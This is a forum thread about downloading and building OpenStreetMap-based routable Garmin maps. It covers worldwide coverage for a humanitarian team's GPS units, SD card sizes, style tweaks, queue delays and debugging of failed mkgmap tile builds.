The only downpoint is that it is not possible to download a map of the whole world. I understand that it is just not justifiable to waste server resources and bandwidth for such a request so someone doesn't have to update his/her maps before going on holidays. However, when working in worldwide emergency services with a response time of 5-10 hours (which includes digging for the grab bag, having the last shower for a week and getting to the airport) there is no time - not a minute - to download and install maps of the affected area to the GPS device. Is there any solution to get a worldwide map? Even if it was only updated once a year it would still be much more useful than the Garmin Basemap.
So far we are using maps of individual countries/regions from various sources. But keeping this updated for 193 countries and then getting the right map onto numerous GPS devices on time before departure is almost impossible. So I am trying to find an alternative solution. Any suggestions would be highly appreciated.
- Re: Worldwide routable Garmin maps: URL REMOVED · Ciprol (Gast) · 19.05.2014 04:17 · [flux]
Sojo Smins wrote:
The only downpoint is that it is not possible to download a map of the whole world. I understand that it is just not justifiable to waste server resources and bandwidth for such a request so someone doesn't have to update his/her maps before going on holidays. However, when working in worldwide emergency services with a response time of 5-10 hours (which includes digging for the grab bag, having the last shower for a week and getting to the airport) there is no time - not a minute - to download and install maps of the affected area to the GPS device. Is there any solution to get a worldwide map? Even if it was only updated once a year it would still be much more useful than the Garmin Basemap.
So far we are using maps of individual countries/regions from various sources. But keeping this updated for 193 countries and then getting the right map onto numerous GPS devices on time before departure is almost impossible. So I am trying to find an alternative solution. Any suggestions would be highly appreciated.
For commercial application, why not come to some private arrangement with the OSM/developer to suit the commercial needs? Server upgrade? 😉
- Re: Worldwide routable Garmin maps: URL REMOVED · Sojo Smins (Gast) · 19.05.2014 09:26 · [flux]
Ciprol wrote:
For commercial application, why not come to some private arrangement with the OSM/developer to suit the commercial needs? Server upgrade? 😉
That's the spirit 🙂 To whom would I have to talk about that?
- Re: Worldwide routable Garmin maps: URL REMOVED · opasto (Gast) · 19.05.2014 10:19 · [flux]
Sojo Smins wrote:
So far we are using maps of individual countries/regions from various sources. But keeping this updated for 193 countries and then getting the right map onto numerous GPS devices on time before departure is almost impossible. So I am trying to find an alternative solution. Any suggestions would be highly appreciated.
Be aware, that GPS Devices may have a limit for the size of maps. And be aware, that computing times (Zoom changes, adress search...) are larger for big maps.
So I have some concern, if a worldwide map of some detail will solve your problem.
If you have modern GPS devices which have Micro SD Cards, there the following procedure is feasable:
Divide the world in several parts of moderate size (Lower 3GB ?) and produce maps XXX.img for all this parts. The xxx must be different for all maps. (And if you want more than one map to be active at the same time, they must have different FID). Now look to your GPS devices and check which max micro SD card they can handle (I work on my Oregon 450 with a 16 GB SD card, larger cards i did not check). The map who is active must be stored in the Garmin folder of the SD card. The other maps should be stored in the root of the SD card. If the maps all are on the same SD card, some on the root, one ore some in the Garmin folder, the transfer between root and garmin folder runs very quick with Ctrl+X and Ctrl+V on a windows computer.
Another possibility is to use different micro SD cards and to change them during your flight to the destination. The whole Asia or the whole of Africa is smaller than 3 GB. For the whole of Europe I guess you may need 4-6 cards of 3 GB size. - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 19.05.2014 10:52 · [flux]
Maximum img size is 4 Gb, but this wont fit on a 4 Gb micro SD card, so I guess an optimal maximum would be 3,5 Gb.
The maximum number of tile segments on most modern Garmin devices is around 4,000 so that wouldnt be a problem.
My OFM Europe (full version with contour lines) is ~8 GB which fits on a 16 Gb card. - Re: Worldwide routable Garmin maps: URL REMOVED · Ciprol (Gast) · 19.05.2014 11:25 · [flux]
Sojo Smins wrote:
That's the spirit 🙂 To whom would I have to talk about that?
I am sure Ligfietser would know how the system works and then there's support for the OSM Foundation.
http://wiki.osmfoundation.org/wiki/Main_Page - Re: Worldwide routable Garmin maps: URL REMOVED · Ciprol (Gast) · 19.05.2014 11:33 · [flux]
opasto wrote:
Another possibility is to use different micro SD cards and to change them during your flight to the destination. The whole Asia or the whole of Africa is smaller than 3 GB. For the whole of Europe I guess you may need 4-6 cards of 3 GB size.
Not sure what exactly Sojo needs for his mapping. But coverage for Asia/Africa can be quite limited except at a very basic level or potentially non-existent in areas. Use with caveat I guess. Still, OSM is quite a project and I enjoy contributing to it when possible.
- Re: Worldwide routable Garmin maps: URL REMOVED · Sojo Smins (Gast) · 19.05.2014 12:30 · [flux]
opasto wrote:
Be aware, that GPS Devices may have a limit for the size of maps. And be aware, that computing times (Zoom changes, adress search...) are larger for big maps.
So I have some concern, if a worldwide map of some detail will solve your problem.We are using current hardware (Garmin GPSmap 62s for now and currently testing if the specs of the new 64s would justify swapping the devices). So I hope we can cope with larger maps.
opasto wrote:
Another possibility is to use different micro SD cards and to change them during your flight to the destination. The whole Asia or the whole of Africa is smaller than 3 GB. For the whole of Europe I guess you may need 4-6 cards of 3 GB size.
That's logistically impossible. Having 40+ devices with each ~ 5 SD cards and having to update all of them every time when an updated map is applicable. We don't have the resources for this. The same for purchased ready-to-go maps of Garmin etc. Having these maps (if they're even available) for that many devices of every country/region just for the case that something might happen somewhere would cost 10s of thousands of Euros just for the procurement. Not to mention the management of the cards. I think this kind of money is better invested in aid projects or OSM.
Ciprol wrote:
Not sure what exactly Sojo needs for his mapping. But coverage for Asia/Africa can be quite limited except at a very basic level or potentially non-existent in areas.
My dream would be having a world map for general orientation (one file) in an acceptable zoom level (best effort) that fits on a 16GB microSD card and is updated ~ 4 times per year. If it is several files which can be downloaded/copied at once that would be fine as well. But I don't know how detailed a world map on a 16GB SD card that runs smoothly with our devices can be? Maybe it's not even worth a try and it wouldn't be notably better than the Garmin Basemap at all? Can anyone answer this?
This would allow us to use the devices in any area of the world for our response teams during the emergency phase until we generated/purchased/downloaded/created detailed maps of the affected area which usually takes about 1-2 days + 12-24 hours for shipping if there is no suitable internet connection. Of course I'd prefer to have all zoom levels of every spot on earth at hand. But our SD cards are only 256 TB and I think we'd need a bit more than 300 TB for the whole database. Bummer! 😄
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 19.05.2014 12:55 · [flux]
You can easily grab the whole world with the manual tile selection on http://garmin.openstreetmap.nl/
Europe, which is the most detailled continent by far, needs 6Gb which runs fine on a modern GPS like the 62.
The Americas 4Gb, Asia+Oceania 2Gb, Africa 0,5gb, so the whole world would fit perfectly on a 16 GB Sd card. - Re: Worldwide routable Garmin maps: URL REMOVED · Sojo Smins (Gast) · 19.05.2014 12:58 · [flux]
ligfietser wrote:
You can easily grab the whole world with the manual tile selection on http://garmin.openstreetmap.nl/
Europe, which is the most detailled continent by far, needs 6Gb which runs fine on a modern GPS like the 62.
The Americas 4Gb, Asia+Oceania 2Gb, Africa 0,5gb, so the whole world would fit perfectly on a 16 GB Sd card.But isn't the number of tiles you can select limited?
http://garmin.openstreetmap.nl/ wrote:
Request your map or download it directly:
Selected map is too large! - Re: Worldwide routable Garmin maps: URL REMOVED · popej (Gast) · 19.05.2014 13:36 · [flux]
What features do you need on maps?
For example do you need routing, address search, POI search, local names in Unicode, topo objects, contour lines?
Some features are not yet supported by mkgmap compiler, for example search in Unicode. Most features takes space on SD and increase number of tiles. I think that map of the world with contours and all features available now would be about 30GB and probably over 4000 tiles. You would need 2 SD cards tor it.
I'm trying to compile small maps for wide area. I remove routing and reduce a bit precision. My map of Asia (no contours) is about 1.2 GB. Map of Africa with 100m contours is about 600MB. See:
http://www.gmaptool.eu/en/content/asia-osm-base
http://www.gmaptool.eu/en/content/africa-osm-topo - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 19.05.2014 13:39 · [flux]
The tile limitations are limited because of two reasons:
The first limit is 2GB for the Windows installer.
Between 2GB-4Gb there is no windows installer, but you will still get the gps version.
So it needs roughly 4x a custom map generation to grab the whole world, for free.Of course you can show your appreciation afterwards with the donate button on the website 😉
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 19.05.2014 15:44 · [flux]
Sojo,
I know that during the Haiti crisis Geofabrik created a new map for the island every 5 minutes and that these maps were used by aid workers on the ground who got regularly new updates while being there. This is ofcourse something different then having a pre-installed map, ready to go, which is what -it seems- you are looking for.
The is not a global map provided because, as was said earlier, it got abused and people wasted valuable bandwidth and other resources. But if you're looking for a basic map that is only updated e.g. 4x a year (just for basic coverage) then I think we could make provisions for that.
Let's try and see what's possible and needed.
Do you need routable maps?
Do you need altitude profiles?
Do you need landuses or only (rail-)ways?
Do you need oceans shown in the maps?I'm curious what organisation you work for. If you don't want to share this, then you can also contact me privately: osm at na1400 dot info
- Re: Worldwide routable Garmin maps: URL REMOVED · Sojo Smins (Gast) · 19.05.2014 18:03 · [flux]
Lambertus wrote:
I know that during the Haiti crisis Geofabrik created a new map for the island every 5 minutes and that these maps were used by aid workers on the ground who got regularly new updates while being there.
Yes we did (and still do) work with this map in Haiti.
And we're just about to go to Serbia and Bosnia. Again with OSM maps.Lambertus wrote:
This is ofcourse something different then having a pre-installed map, ready to go, which is what -it seems- you are looking for.
Exactly. A general map to replace the useless Garmin World Map when handing out GPS devices - as detailed as it gets considerung the space limitations.
Do you need routable maps? -> 7
Do you need altitude profiles? -> 3
Do you need landuses? -> 6
Do you need (rail-) ways? -> 10
Do you need oceans shown in the maps? -> 5 | coast lines for orientation purposes only1 = not necessary / 10 = indespensable
Lambertus wrote:
I'm curious what organisation you work for. If you don't want to share this, then you can also contact me privately: osm at na1400 dot info
Swiss Humanitarian Aid
I don't have any experience in these matters. Can you tell me how much time it takes you to build such a map and if there is a way to get it automatically done with your service or I'd have to get you involved every time there needs to be an update? I'm happy to talk about this in private (simon dot joss at eda dot admin dot ch). If you're telling me that there is a way to do this with little administrational effort I'd like to discuss that in our organization and get the approval so I'll be able to do a donation as well.
- Re: Worldwide routable Garmin maps: URL REMOVED · Mafketel (Gast) · 23.05.2014 07:37 · [flux]
Win
😄
Win😎
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 26.05.2014 08:47 · [flux]
Sojo Smins wrote:
Can you tell me how much time it takes you to build such a map and if there is a way to get it automatically done with your service
Sojo, why don't you try it yourself by using the manual tile selection. To grab the whole world you need to divide it in 6 parts.
N+S America, Africa, Europe (N and South?) Asia+Oceania. Then download the gmapsupp.img versions and rename them. They all fit on a 16 GB card that can be read on your Garmin 62 device.
See for an excellent tutorial http://www.dcrainmaker.com/2013/05/down … 00810.html - Re: Worldwide routable Garmin maps: URL REMOVED · Sojo Smins (Gast) · 27.05.2014 12:20 · [flux]
I'm happy to do so. Just wanted to know if there was an easier way.
Thanks for your support! 😄
- Re: Worldwide routable Garmin maps: URL REMOVED · Ciprol (Gast) · 07.06.2014 12:43 · [flux]
A question on the colour contrast b/n the green of national parks and blue of rivers/creeks.
Downloading using the 'new styles', I am finding it's very difficult to differentiate the river/creeks when they are over a green background of national parks e.g. Nattai River in Nattai NP (34S34° 17' 19.9" E150° 20' 48.1"). Is there a way to overcome it? Thanks.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 07.06.2014 14:15 · [flux]
You can try to edit the typ file with typviewer and copy paste the following code
on line type 0x18 (streams)[_line] Type=0x18 UseOrientation=Y LineWidth=1 BorderWidth=1 Xpm="0␣0␣4␣0" "1␣c␣#7BCAD5" "2␣c␣#DDF1F4" "3␣c␣#00008B" "4␣c␣#DDF1F4" String1=0x04,stream String2=0x03,beek,sloot String3=0x02,Bach ExtendedLabels=Y FontStyle=SmallFont CustomColor=Day DaycustomColor:#0000B4 [end]
This gives a lighter border to the line type, but the results are not good when a waterway inside a water polygon is drawn:
See the preview section at https://www.dropbox.com/s/17uw0dp69g0qve9/water.jpg - Re: Worldwide routable Garmin maps: URL REMOVED · Ciprol (Gast) · 09.06.2014 02:35 · [flux]
Wow. Thanks! I'll see if I can get a Windows machine to try this.
- Re: Worldwide routable Garmin maps: URL REMOVED · Mafketel (Gast) · 11.06.2014 09:24 · [flux]
routing around Boston Massachusetts gave me a remarkable result.
A bunch of ppl have been busy trying to get a bicycle route up and have partially succeeded, northern strand community trail.
http://www.biketothesea.com/
On osm.org the trail has been drawn and access is allowed for foot and bicycle.
However basecamp with a just freshly generated map refuses to route over the trail, not with any of the walking or bicycle options.
spot where I tried to route
http://www.openstreetmap.org/#map=19/42.43040/-71.04287 - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 11.06.2014 09:42 · [flux]
Those bunch of ppl should have done their homework better. This bike trail is dead ending at a railway.
No wonder Basecamp refuses to ride there 😉
https://www.openstreetmap.org/way/22760 … /-71.02531Maybe a situation like this?
- Re: Worldwide routable Garmin maps: URL REMOVED · Mafketel (Gast) · 11.06.2014 10:04 · [flux]
it is an old train track 😉 and i did say partially succeeded 😉
Still I think there is no setting on osm.org that would make basecamp not route over that trail, yet it does not.... scratch that I think I just found the issue, there are no nodes on the intersection:rolleyes:
- Re: Worldwide routable Garmin maps: URL REMOVED · mikelmaron (Gast) · 13.06.2014 20:51 · [flux]
The custom queue seems to be stuck, it's at 795 requests, and 3.3 day delay. Anything we can do to help?
- Re: Worldwide routable Garmin maps: URL REMOVED · Mafketel (Gast) · 13.06.2014 20:56 · [flux]
not stuck....
Country Custom
Queue length: 0 819 request(s)
Request delay: ~6 minutes ~3.4 daysjust a lot of request 😉
- Re: Worldwide routable Garmin maps: URL REMOVED · AlaskaDave (Gast) · 14.06.2014 00:26 · [flux]
Mafketel wrote:
not stuck....
Country Custom
Queue length: 0 819 request(s)
Request delay: ~6 minutes ~3.4 daysjust a lot of request 😉
Well, the reported waits are not always accurate, unless I don't understand how to interpret the information. I requested a "custom" map of Alaska the other day and it was ready in a few minutes despite the fact that the wait specified on the website was about 3 days. A while ago I made a similar request and had to wait a couple of days for it.
What do those numbers mean? Is it true that a request for a "Country" has a shorter wait than for a state?
- Re: Worldwide routable Garmin maps: URL REMOVED · Bill47374 (Gast) · 14.06.2014 13:09 · [flux]
AlaskaDave wrote:
I requested a "custom" map of Alaska the other day and it was ready in a few minutes despite the fact that the wait specified on the website was about 3 days. A while ago I made a similar request and had to wait a couple of days for it.
What do those numbers mean? Is it true that a request for a "Country" has a shorter wait than for a state?
"US state" = "Country". If you select a state and don't change any tile selections, it will run in the country queue and will normally be quite fast. If you change the tile selection from what is automatically selected to cover the state, it runs in the custom queue.
The delay times are based on an estimate of 6 minutes/map. The last time I watched my request move through the queue, it was taking 2 minutes/map so you could divide the estimate by 3 now to get the "real" delay.
- Re: Worldwide routable Garmin maps: URL REMOVED · renelm (Gast) · 15.06.2014 20:02 · [flux]
I just downloaded the latest map for Denmark (Generic Routable New Style), and noticed, that paths around where I live are now only rendered as 'line' (barely visible, and only gives the text 'line' when I mark it on my GPS).
Some other tracks are rendered just fine as tracks..I really can't see why one type is rendered while another one isn't.. the paths that are rendered fine are tagged as highway=foot and foot=designated or highway=path or just highway=path - http://www.openstreetmap.org/way/146487806 (connects to another cycletrack that isn't rendered)
A track that isn't rendered correctly is tagged like this: highway=path, foot=designated, bicycle=desgnated, foot=designated - http://www.openstreetmap.org/way/127223911
Another track that isn't rendered correctly: highway=cyckletrack, foot=yes - http://www.openstreetmap.org/way/195057632As I understand it 'designated' basically means the same as yes.. but what I don't understand at all is why the cycletrack and the tracks with foot/bicycle=designated aren't rendered correctly.
Will try out the old style now, but I am pretty sure it works fine there (.. or at least it used to - given that I can't remember which style I used when I could see the local paths).
Oh yeah - the area I am looking at is: http://www.openstreetmap.org/#map=18/55.91618/12.49536 - and yes, I am aware, that for a proper bicycle map, I should choose another style, but 'it used to work' and some tracks are shown fine.
Cheers and thanks for the good work!
/rené
EDIT: Quick update, I just grabbed the 'old style' DK-map and here the troublesome paths are rendered as 'ally' and the trails that were rendered correctly before are still rendered as 'trail'. They can be navigated to when selecting bicycle in routing options.. (.. and ehr.. when using car navgation too, which has caused confusion to some users..)
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 15.06.2014 21:14 · [flux]
Thanks for reporting René. The reason is that the typ file isn't processed in all maps.
I'll ask Lambertus what went wrong there. - Re: Worldwide routable Garmin maps: URL REMOVED · ark0571 (Gast) · 21.06.2014 07:02 · [flux]
Multple osm country map download on sd card
but only one visible(first)
(every map renamed)
(http://garmin.openstreetmap.nl) (predefinded map)
Garmin map(multiple) all visiblein etrex20, that is normal
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 21.06.2014 08:04 · [flux]
I'm not sure what you mean ark.
Please install Javawa's Device Manager and check the maps on your GPS for errors: http://www.javawa.nl/jdm_en.html - Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 22.06.2014 13:04 · [flux]
ligfietser wrote:
Thanks for reporting René. The reason is that the typ file isn't processed in all maps.
I'll ask Lambertus what went wrong there.I noticed that, too. Just downloaded the Thailand map and the typ is missing.
A lot of work has been done while I was away. Well done folks!
Regards,
Peter. - Re: Worldwide routable Garmin maps: URL REMOVED · mistergiloo (Gast) · 25.06.2014 13:27 · [flux]
hello
I just try till 2 months to download "russian federation" and it doesn't work even when I make a manual tile selection
do you why ?
thanks
gillesthe problem is with the "Compressed file containing a single image that can be placed directly onto the SD-card of the GPS"
- Re: Worldwide routable Garmin maps: URL REMOVED · AlaskaDave (Gast) · 26.06.2014 20:34 · [flux]
The tiles for Alaska haven't been updated since June 13th. This used to happen more often, on the order of 7 days. Is there an abnormally high user load these days or is there some other issue that's slowing this down? I'm not complaining, just asking.
- Re: Worldwide routable Garmin maps: URL REMOVED · modman (Gast) · 27.06.2014 14:33 · [flux]
I'm trying to download the "Routable Bicycle" map but it seems that the one tile I need in Northeast Ohio, United States is red and cannot be selected. Am I out of luck? Is there an older version I can grab? "Generic routable" has the missing tile, but I'd prefer the Bicycle map if possible. Thanks!
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 28.06.2014 08:13 · [flux]
The updates are started manually and only maintained by one person (Lambertus). Some people think there is a whole company behind this site but its all voluntary work. No idea why this tile is missing or why the gps version of Russia is empty, you'll have to wait for another update until Lambertus is back from holidays.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 30.06.2014 10:15 · [flux]
Bill47374 wrote:
AlaskaDave wrote:
I requested a "custom" map of Alaska the other day and it was ready in a few minutes despite the fact that the wait specified on the website was about 3 days. A while ago I made a similar request and had to wait a couple of days for it.
What do those numbers mean? Is it true that a request for a "Country" has a shorter wait than for a state?
"US state" = "Country". If you select a state and don't change any tile selections, it will run in the country queue and will normally be quite fast. If you change the tile selection from what is automatically selected to cover the state, it runs in the custom queue.
The delay times are based on an estimate of 6 minutes/map. The last time I watched my request move through the queue, it was taking 2 minutes/map so you could divide the estimate by 3 now to get the "real" delay.
That is correct, Bill: there are two queues, one for countries (or states) and one for custom maps.
The time per map is just a rough average, some maps are quicker to build then others.ligfietser wrote:
Thanks for reporting René. The reason is that the typ file isn't processed in all maps.
I'll ask Lambertus what went wrong there.In the generic_new typ file a section start (one line) was missing and that caused Mkgmap to exit prematurely. This has now been fixed for new maps.
mistergiloo wrote:
hello
I just try till 2 months to download "russian federation" and it doesn't work even when I make a manual tile selection
do you why ?
thanks
gillesthe problem is with the "Compressed file containing a single image that can be placed directly onto the SD-card of the GPS"
The gmapsupp.img is missing because the newer Mkgmap versions are stricter regarding the map description length (max. 50 characters). Maps with long country names exited prematurely with the result that the gmapsupp.img is missing. This has now been fixed by replacing the full country name by it's ISO three-letter abbreviation.
AlaskaDave wrote:
The tiles for Alaska haven't been updated since June 13th. This used to happen more often, on the order of 7 days. Is there an abnormally high user load these days or is there some other issue that's slowing this down? I'm not complaining, just asking.
I was on holiday the past two weeks and didn't bring my laptop (and loved being without it 😛).
modman wrote:
I'm trying to download the "Routable Bicycle" map but it seems that the one tile I need in Northeast Ohio, United States is red and cannot be selected. Am I out of luck? Is there an older version I can grab? "Generic routable" has the missing tile, but I'd prefer the Bicycle map if possible. Thanks!
For some (as of yet) unknown reason this tile didn't compile or split. There is no older verison available so you''re indeed out of luck if you really need the bicycle optimized map.
- Re: Worldwide routable Garmin maps: URL REMOVED · JorgeDCR (Gast) · 02.07.2014 16:06 · [flux]
Once again I need advice. I downloaded the generic routable map for Italy using the instruction I got last time. My wife took it in our Garmin Nuvi to Italy where she travels in a car with the family. She complains, however, that the device cannot be used (she ended up buying a new GPS in a local store) because it always sends her to rural roads (sometimes even closed for car traffic) instead of freeways. It appears to me that there is a default setting for bikes. How can it be overwritten? I assume the generic maps can be optimized for cars.
Thanks! - Re: Worldwide routable Garmin maps: URL REMOVED · AlaskaDave (Gast) · 02.07.2014 16:17 · [flux]
AlaskaDave wrote:
The tiles for Alaska haven't been updated since June 13th. This used to happen more often, on the order of 7 days. Is there an abnormally high user load these days or is there some other issue that's slowing this down? I'm not complaining, just asking.
Welcome back Lambertus. You certainly deserve a vacation, without a laptop, and I hope it was good. Thank you very much for all you do.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 02.07.2014 19:42 · [flux]
JorgeDCR wrote:
Once again I need advice. I downloaded the generic routable map for Italy using the instruction I got last time. My wife took it in our Garmin Nuvi to Italy where she travels in a car with the family. She complains, however, that the device cannot be used (she ended up buying a new GPS in a local store) because it always sends her to rural roads (sometimes even closed for car traffic) instead of freeways. It appears to me that there is a default setting for bikes. How can it be overwritten? I assume the generic maps can be optimized for cars.
Thanks!The generic routable map is optimized more for cars then for bicycles, so your observations puzzle me. Is it not possible that the routing profile of the GPS is set to 'bicycle' instead of 'car' or that the 'avoid highways' option is enabled?
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 02.07.2014 22:19 · [flux]
Or, it is set to 'shortest distance' instead of 'fastest route'.
- Re: Worldwide routable Garmin maps: URL REMOVED · JorgeDCR (Gast) · 02.07.2014 22:44 · [flux]
Lambertus wrote:
The generic routable map is optimized more for cars then for bicycles, so your observations puzzle me. Is it not possible that the routing profile of the GPS is set to 'bicycle' instead of 'car' or that the 'avoid highways' option is enabled?
Thanks Lambertus. I wish I could see the device to answer. I believe that we never set those 2 options as we never use GPS for other than car, and we never attempt to avoid freeways. I'd rather suppose that the device has set some of those 2 options automatically when it encountered the new map. Would it be possible if you could please suggest where in the device menu those 2 options can be found to check and possibly change? However awkward it looks, I'll forward your response to my wife. Even though she has a new working device, I would like to have this problem resolved for future travel.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 03.07.2014 08:10 · [flux]
From memory as I don't have the thing at hand, on my GPSMap60CSx the option is under: press button 'Menu' twice and then look for 'Routing'.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 03.07.2014 08:16 · [flux]
Jorge, there are dozens of nüvi models, all with different kind of menu settings. Please check youtube or in your manual how to do it.
- Re: Worldwide routable Garmin maps: URL REMOVED · mistergiloo (Gast) · 03.07.2014 10:26 · [flux]
hello lambertus
thank you very much for having fixed the problem on the russian federationone more question:
I'm on macintosh with basecamp and I install russianfederation2014.gmap and it works
but I cannot see now russianfederation2013.gmap because in basecamp menu MAP, I see only "OSM generic routable"
and I have well 2 files installedis there a software like JaVaWa IMGname for changing the name of file .gmap ?
thanks - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 03.07.2014 11:22 · [flux]
mistergiloo wrote:
is there a software like JaVaWa IMGname for changing the name of file .gmap ?
thanks - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 03.07.2014 11:36 · [flux]
Lambertus wrote:
modman wrote:
I'm trying to download the "Routable Bicycle" map but it seems that the one tile I need in Northeast Ohio, United States is red and cannot be selected. Am I out of luck? Is there an older version I can grab? "Generic routable" has the missing tile, but I'd prefer the Bicycle map if possible. Thanks!
For some (as of yet) unknown reason this tile didn't compile or split. There is no older verison available so you''re indeed out of luck if you really need the bicycle optimized map.
There are still two red tiles on the latest OFM (also a small part on London).
Lambertus, can you check in your error logs what went wrong? Maybe I can examine those two osm files to see where/if it crashes on my OFM styles? Could be a mkgmap, OFM or OSM bug. - Re: Worldwide routable Garmin maps: URL REMOVED · mistergiloo (Gast) · 03.07.2014 12:14 · [flux]
great !!!
thank you very much for javawa GMTK - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 03.07.2014 13:11 · [flux]
ligfietser wrote:
There are still two red tiles on the latest OFM (also a small part on London).
Lambertus, can you check in your error logs what went wrong? Maybe I can examine those two osm files to see where/if it crashes on my OFM styles? Could be a mkgmap, OFM or OSM bug.I'll try to look into this tonight. I suspect is has something to do with the recent changes in Splitter algorithms as it was updated at the end of May from r343 to r404 (and since then the latest version on each map update).
Edit:
I already took a peek in the log and, indeed, the initial file is too large for Mkgmap so needs further subsplitting but Splitter cannot find a suitable split configuration 🙄Edit:
Possibly there is something else going on that eventually triggers the above. Take a look on the website at Cleveland, Ohio, USA in the OFM lite map. The tiles are getting really small there which suggests that Mkgmap has problems rendering the area which results in further subsplitting. The root cause could be actually something in Mkgmap, OSM data and/or the style. - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 03.07.2014 15:35 · [flux]
Lambertus wrote:
Possibly there is something else going on that eventually triggers the above. Take a look on the website at Cleveland, Ohio, USA in the OFM lite map. The tiles are getting really small there which suggests that Mkgmap has problems rendering the area which results in further subsplitting. The root cause could be actually something in Mkgmap, OSM data and/or the style.
What I don't understand is why the other generic maps dont have such tiny tiles. Does this subsplitting is carried out after mkgmap fails to process this tile? If so, the OFM style might get stuck on maybe a certain OSM element. Maybe I can investigate that tile further. If this doesnt depend on mkgmap and my OFM style but a huge number of nodes, maybe this area contains too many nodes and the splitter tries to get below a certain number of nodes? Maybe those nodes are not even used in my OFM map. In that case, maybe it's better to carry out the mkgmap process after a 2nd or 3rd subsplit, no matter how many nodes there are in a tile. I always use --max-nodes=1600000 and until so far hardly saw that a tile was skipped (and the last time was a few years ago).
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 03.07.2014 16:14 · [flux]
All the maps are rendered using the same build scripts, source data, applications and the same initial tile splits. So if there is different behavior then it's either a map specific setting (e.g. max-nodes) or the style. I'll link to the source data later.
The generic routable also has problems, the new generic routable is fine.
Edit:
Initial spliit setting -max-nodes=1500000
The problem initial tile is: 63440523.o5m which is unsuccessfully rendered with the following commandline:
ulimit -t 900 && java -Xmx1792M -XX:StringTableSize=100003 -ea -jar /home/lambertus/garmin/utils/mkgmap/mkgmap.jar --family-id=20011 --product-id=1 --draw-priority=20 --description='Openfietsmap Lite' --series-name='Openfietsmap Lite' --style-file='/home/lambertus/garmin/utils/styles/' --style='ofm_lite' --bounds='/home/lambertus/garmin/utils/bounds.zip' --reduce-point-density=4 --reduce-point-density-polygon=8 --precomp-sea='/home/lambertus/garmin/utils/sea.zip' --generate-sea=land-tag=natural=background --show-profiles=1 --add-pois-to-lines --index --location-autofill=is_in,nearest --latin1 --remove-short-arcs --min-size-polygon=10 --merge-lines --add-pois-to-areas --preserve-element-order --process-destination --process-exits --route --name-tag-list=name:en,int_name,name:zh_py,name:engels,name --x-housenumbers --copyright-message='Map data \A9 openstreetmap.org, Map layout \A9 openfietsmap.nl' --input-file=63440523.o5mWhich gives:
java.lang.AssertionError
at uk.me.parabola.mkgmap.reader.osm.RestrictionRelation.getWayIds(RestrictionRelation.java:604)
at uk.me.parabola.mkgmap.reader.osm.LinkDestinationHook.retrieveWays(LinkDestinationHook.java:149)
at uk.me.parabola.mkgmap.reader.osm.LinkDestinationHook.end(LinkDestinationHook.java:727)
at uk.me.parabola.mkgmap.reader.osm.OsmReadingHooksChain.end(OsmReadingHooksChain.java:79)
at uk.me.parabola.mkgmap.reader.osm.o5m.O5mBinMapDataSource.load(O5mBinMapDataSource.java:49)
at uk.me.parabola.mkgmap.reader.osm.OsmMapDataSource.load(OsmMapDataSource.java:127)
at uk.me.parabola.mkgmap.main.MapMaker.loadFromFile(MapMaker.java:167)
at uk.me.parabola.mkgmap.main.MapMaker.makeMap(MapMaker.java:63)
at uk.me.parabola.mkgmap.main.Main$1.call(Main.java:253)
at uk.me.parabola.mkgmap.main.Main$1.call(Main.java:249)
at java.util.concurrent.FutureTask.run(FutureTask.java:262)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615)
at java.lang.Thread.run(Thread.java:744)
Exiting - if you want to carry on regardless, use the --keep-going optionThen my script tries to subsplit until everything is rendered which ultimately leaves a tiny tile that cannot be rendered: 63442037.o5m
As a sidenote:
I also see this error for OFM Lite:
SEVERE (StyledConverter): 63440363.o5m: routable type 0x08 is used with a non-routable way which was also added as a routable way. This leads to routing errors. Try --check-styles to check the style. - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 03.07.2014 19:16 · [flux]
I havent examined the problem yet, but I notice one important difference: -ea (enable assertion).
In the past map generation broke on tiny errors on osm when enabling this. After I removed this option, I never had any errors/empty tiles. See https://www.mail-archive.com/mkgmap-dev … 10947.html - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 03.07.2014 19:19 · [flux]
Another problem is showing up with the generic map: A rendered tile is judged to be too large by my build script and is subsequently subsplit, but Splitter is unable to generate at least two subtiles. The succesfully rendered tile is removed because it is too large but there is no replacement available so the area turns up as a red square in the website. I think this needs to be reported to the Splitter devs.
